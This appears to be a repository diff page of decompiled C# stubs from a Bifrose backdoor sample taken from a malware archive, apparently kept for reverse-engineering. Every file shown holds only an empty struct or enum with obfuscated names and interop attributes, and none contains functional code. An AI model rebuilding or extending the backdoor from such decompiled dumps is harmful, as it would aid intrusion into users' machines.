|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct ä
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u0082\u0090
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct \u0082\u0098
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u0082\u009D
|
||||
{
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u008E
|
||||
{
|
||||
[NativeCppClass]
|
||||
[CLSCompliant(false)]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
public enum \u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.®
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u00AE
|
||||
{
|
||||
[CLSCompliant(false)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
public enum \u00A9
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.Ñ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 4)]
|
||||
internal struct Ñ
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.Ö
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 12)]
|
||||
internal struct Ö
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.Ü
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct Ü
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: å.è
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace å
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct è
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.Ï
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[UnsafeValueType]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 20)]
|
||||
internal struct \u0081Ï
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u0099
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: õ.¦
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace õ
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 1)]
|
||||
internal struct \u00A6
|
||||
{
|
||||
}
|
||||
}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user